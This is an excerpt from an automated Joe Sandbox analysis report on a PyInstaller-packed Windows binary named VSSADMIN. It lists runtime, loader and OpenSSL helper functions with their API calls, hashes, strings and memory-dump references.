Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction ID: 851e6e4591848b8cd216b5c5358cf1129bc3be11b57677648a27b92bad48828b
Opcode Fuzzy Hash: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
Instruction Fuzzy Hash: 15119621A0CA5381EF609F51948027DA2B0BFD7FA5F444437EA8CC769ADF7CD500A700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C9578C Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C957AF

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bfd0dbd31329e8855e2ea518bb8c472100a71056899b27504ce81c8632d734fa
Instruction ID: 7db7c192fe2b76f524c7c5b2199fb77893a77cb47f2a59ddee350370a1325f0f
Opcode Fuzzy Hash: bfd0dbd31329e8855e2ea518bb8c472100a71056899b27504ce81c8632d734fa
Instruction Fuzzy Hash: 8A217F33A18A4296DB618F18E48036976B0EB96FA8F244236EA5D876D5DF3DD5018B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7F64C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C7F6A0

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction ID: eaf90d44afeb166a819dae1377bcbe54cf659c47168e4e3329ca6316d345c132
Opcode Fuzzy Hash: f8ccbbb08b6b64fca274b3102351a157ba9f641dbe881e0fbefe782dfe020abd
Instruction Fuzzy Hash: 2401A561A0CF4342E904DB5299D1079A7A1BB87FF0F084636DE5C97BEADE3CD5018704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C86B74 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C86B9F

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ff7701af8cb768011259a96fb0cdaae69b45464d9f9b930ea94a69369e7e69e2
Instruction ID: b77321515603504d9b62c82e2a173a6986a4da05f98fdb29e80b7c19908d795b
Opcode Fuzzy Hash: ff7701af8cb768011259a96fb0cdaae69b45464d9f9b930ea94a69369e7e69e2
Instruction Fuzzy Hash: DC113A32A18E4382F3109B14A4C0579B2B5EB86BA4F55453AE69DC77A2DF7CF810AB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8DD70 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF614C8A8E6,?,?,?,00007FF614C89AA3,?,?,00000000,00007FF614C89D3E), ref: 00007FF614C8DDC5

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 71284afaabaf46e061be5dd41c1ee9242f4793079330fcfb9ee2b8ac464e22c2
Instruction ID: 2ab543c3322530bba426973a480ad6d1261eab43de51dadf3a8a2d539df9437f
Opcode Fuzzy Hash: 71284afaabaf46e061be5dd41c1ee9242f4793079330fcfb9ee2b8ac464e22c2
Instruction Fuzzy Hash: 12F06D44B09A4782FE585B6198D03B512B05F8BFA4F0C4433C90EC73C2EE1CE892A320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C8CAFC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,?,00007FF614C7FE74,?,?,?,00007FF614C81386,?,?,?,?,?,00007FF614C82979), ref: 00007FF614C8CB3A

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a7ce567b16112f19067e33b9dc0b94b4c499acd5a025fbf7a889946ef18f26a1
Instruction ID: bca662125605553ae1b21a038d26fc7c5dfebe982e319e74c95680a684b58faa
Opcode Fuzzy Hash: a7ce567b16112f19067e33b9dc0b94b4c499acd5a025fbf7a889946ef18f26a1
Instruction Fuzzy Hash: 72F05860F0DE8745FE2456A298D027652A05FCAFB4F080732D82EC72C2DE2CE841E120

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C771E0 Relevance: 1.5, APIs: 1, Instructions: 20libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF614C77A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF614C726FB), ref: 00007FF614C77A9A

LoadLibraryW.KERNEL32(?,?,00000000,00007FF614C730DE), ref: 00007FF614C77203

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 14271922cd67107be1aa73486209c40478193cbc4b897bf2be9679daf36d23cb
Instruction ID: c2dc439a3e07cf12c6c8a97061bfe7f530db5fbb37d1289f7fe249e7d715aabf
Opcode Fuzzy Hash: 14271922cd67107be1aa73486209c40478193cbc4b897bf2be9679daf36d23cb
Instruction Fuzzy Hash: 34E02611B1858682EE089767F54146AA161AF48FD0B089036DE0D83716DD2DD4804A00

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF614C71B90 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF614C71BDE
MulDiv.KERNEL32 ref: 00007FF614C71BF2
MulDiv.KERNEL32 ref: 00007FF614C71C13
SystemParametersInfoW.USER32 ref: 00007FF614C71C5B
CreateFontIndirectW.GDI32 ref: 00007FF614C71C6F
#380.COMCTL32 ref: 00007FF614C71C93
CreateWindowExW.USER32 ref: 00007FF614C71CE6
CreateWindowExW.USER32 ref: 00007FF614C71D40
CreateWindowExW.USER32 ref: 00007FF614C71D9D
CreateWindowExW.USER32 ref: 00007FF614C71DFF
SendMessageW.USER32 ref: 00007FF614C71E1F
SendMessageW.USER32 ref: 00007FF614C71E39
SendMessageW.USER32 ref: 00007FF614C71E58
SendMessageW.USER32 ref: 00007FF614C71E77
SendMessageW.USER32 ref: 00007FF614C71E95
SendMessageW.USER32 ref: 00007FF614C71EB3
SendMessageW.USER32 ref: 00007FF614C71ED1
SendMessageW.USER32 ref: 00007FF614C71EE9
SendMessageW.USER32 ref: 00007FF614C71F01
GetClientRect.USER32 ref: 00007FF614C71F10

Part of subcall function 00007FF614C72030: GetDC.USER32 ref: 00007FF614C7205B
Part of subcall function 00007FF614C72030: SelectObject.GDI32 ref: 00007FF614C720A2
Part of subcall function 00007FF614C72030: DrawTextW.USER32 ref: 00007FF614C720C5
Part of subcall function 00007FF614C72030: SelectObject.GDI32 ref: 00007FF614C720DB
Part of subcall function 00007FF614C72030: ReleaseDC.USER32 ref: 00007FF614C720EB
Part of subcall function 00007FF614C72030: MoveWindow.USER32 ref: 00007FF614C7213B
Part of subcall function 00007FF614C72030: MoveWindow.USER32 ref: 00007FF614C7217B
Part of subcall function 00007FF614C72030: MoveWindow.USER32 ref: 00007FF614C721CE

Strings

Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF614C71BBD
Close, xrefs: 00007FF614C71DA8
EDIT, xrefs: 00007FF614C71D4B
BUTTON, xrefs: 00007FF614C71DB6
STATIC, xrefs: 00007FF614C71C9C, 00007FF614C71CF1

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 459a4d17a5d9d63fd32af7de9d21940b0e91a324c601fae87eb48516cdd5ea8c
Instruction ID: 801b439429b27baf6ecd1df9797fe4a70b957b65cb2c3ca371bbec845ee868d9
Opcode Fuzzy Hash: 459a4d17a5d9d63fd32af7de9d21940b0e91a324c601fae87eb48516cdd5ea8c
Instruction Fuzzy Hash: 90A16A36218F8197E7148F26E58479AB370F789BA4F50412AEB8D43B24CF3EE165CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF2671 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 168COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FFD3FDBDFC1
GetEnvironmentVariableW.KERNEL32 ref: 00007FFD3FDBDFE2
GetEnvironmentVariableW.KERNEL32 ref: 00007FFD3FDBDFFD
GetEnvironmentVariableW.KERNEL32 ref: 00007FFD3FDBE018
GetEnvironmentVariableW.KERNEL32 ref: 00007FFD3FDBE060
WideCharToMultiByte.KERNEL32 ref: 00007FFD3FDBE096
WideCharToMultiByte.KERNEL32 ref: 00007FFD3FDBE0EB

Strings

RANDFILE, xrefs: 00007FFD3FDBDFA9
SYSTEMROOT, xrefs: 00007FFD3FDBE009
USERPROFILE, xrefs: 00007FFD3FDBDFEE
.rnd, xrefs: 00007FFD3FDBE19A
HOME, xrefs: 00007FFD3FDBDFD0

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: EnvironmentVariable$ByteCharMultiWide
String ID: .rnd$HOME$RANDFILE$SYSTEMROOT$USERPROFILE
API String ID: 2184640988-1666712896
Opcode ID: 9bdffb1b50c3161ebfeb316bcddf5aa0d76d079b0f97c82e6ecc90dc1062e570
Instruction ID: a64d13cd417bde63bbdea354a54341773e3750b40902b89e0aaa265eedcbfbf3
Opcode Fuzzy Hash: 9bdffb1b50c3161ebfeb316bcddf5aa0d76d079b0f97c82e6ecc90dc1062e570
Instruction Fuzzy Hash: 0261B122708B8645EB198F25A86027967A5EF45BF4B588331DF6D43BD4DFBDE809A300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C767A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C76837

Part of subcall function 00007FF614C769B0: GetEnvironmentVariableW.KERNEL32(00007FF614C73707), ref: 00007FF614C769EA
Part of subcall function 00007FF614C769B0: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF614C76A07

Part of subcall function 00007FF614C866E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C866FD

SetEnvironmentVariableW.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C768F1

Part of subcall function 00007FF614C72770: MessageBoxW.USER32 ref: 00007FF614C72845

Strings

LOADER: Failed to set the TMP environment variable., xrefs: 00007FF614C7681A
TMP, xrefs: 00007FF614C767DA, 00007FF614C76899, 00007FF614C76927
_MEI%d, xrefs: 00007FF614C76845
TMP, xrefs: 00007FF614C76800

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 0274a45065aed080cbde3c9ac4a42289c92a47d5d649372871529f0d26a49517
Instruction ID: 1cae1ea25543fdb881c81395485c0a068bf470262e7b5c1990f7eaaaa6251334
Opcode Fuzzy Hash: 0274a45065aed080cbde3c9ac4a42289c92a47d5d649372871529f0d26a49517
Instruction Fuzzy Hash: 29515D21B0DA4392FE14A776A9952BAA2619F47FF1F445037ED0ECB797EE2DE4018300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD3FBF5A24 Relevance: 10.6, APIs: 7, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFD3FE3623C
RtlCaptureContext.KERNEL32 ref: 00007FFD3FE36269
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFD3FE36283
RtlVirtualUnwind.KERNEL32 ref: 00007FFD3FE362C4
IsDebuggerPresent.KERNEL32 ref: 00007FFD3FE36318
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFD3FE36339
UnhandledExceptionFilter.KERNEL32 ref: 00007FFD3FE36344

Memory Dump Source

Source File: 00000001.00000002.245453028.00007FFD3FBF1000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFD3FBF0000, based on PE: true

Associated: 00000001.00000002.245445748.00007FFD3FBF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FBFD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC55000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC69000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC79000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FC8D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE3F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE6A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FE9C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FEC1000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF0F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF15000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF17000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF34000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245453028.00007FFD3FF41000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245636932.00007FFD3FF45000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.245643822.00007FFD3FF47000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd3fbf0000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: a2d914222e0312e5cf461600ac8b059d6c61fa3806f1dd2a9609d900ee9212fe
Instruction ID: 87382159bc7bedb7ec190a006a1c6c045a977c5574e2d10e5ad9868f2828325e
Opcode Fuzzy Hash: a2d914222e0312e5cf461600ac8b059d6c61fa3806f1dd2a9609d900ee9212fe
Instruction Fuzzy Hash: 9F315972708B858AEB649F60E8607EE7364FB84748F44413ADB4E57B88DF78D548D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B6CC Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF614C7B6E8
RtlCaptureContext.KERNEL32 ref: 00007FF614C7B715
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF614C7B72F
RtlVirtualUnwind.KERNEL32 ref: 00007FF614C7B770
IsDebuggerPresent.KERNEL32 ref: 00007FF614C7B7C4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF614C7B7E5
UnhandledExceptionFilter.KERNEL32 ref: 00007FF614C7B7F0

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: ed99729a06427ffe8919d80707f0d22f85e2a1f7f16501b693ecc562f35910ed
Instruction ID: f8043513b5143111166cb1be153dfde0e0a9889e6b983e9f6b1439ac5fa07e28
Opcode Fuzzy Hash: ed99729a06427ffe8919d80707f0d22f85e2a1f7f16501b693ecc562f35910ed
Instruction Fuzzy Hash: FD314D76608E8196EB608F64E8803E97371FB85B58F44403ADB4D87A98EF3DD648C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C94E50 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF614C94E95

Part of subcall function 00007FF614C947E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C947FC

Part of subcall function 00007FF614C89E48: HeapFree.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E5E
Part of subcall function 00007FF614C89E48: GetLastError.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E68

Part of subcall function 00007FF614C89E00: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF614C89DDF,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C89E09
Part of subcall function 00007FF614C89E00: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF614C89DDF,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C89E2E

_get_daylight.LIBCMT ref: 00007FF614C94E84

Part of subcall function 00007FF614C94848: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C9485C

_get_daylight.LIBCMT ref: 00007FF614C950FA
_get_daylight.LIBCMT ref: 00007FF614C9510B
_get_daylight.LIBCMT ref: 00007FF614C9511C
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF614C9535C), ref: 00007FF614C95143

Memory Dump Source

Source File: 00000001.00000002.245393583.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000001.00000002.245381374.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245405703.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245414216.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.245438214.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 2cc5a4cded4ecef5b1ebc9d4bcc7e49c1205c2bdcadbae89e659e8d650b3b6a2
Instruction ID: cb42433b5953b0dda67b1e0089ff244890e0d84ac0495b15073d0d30240f97a8
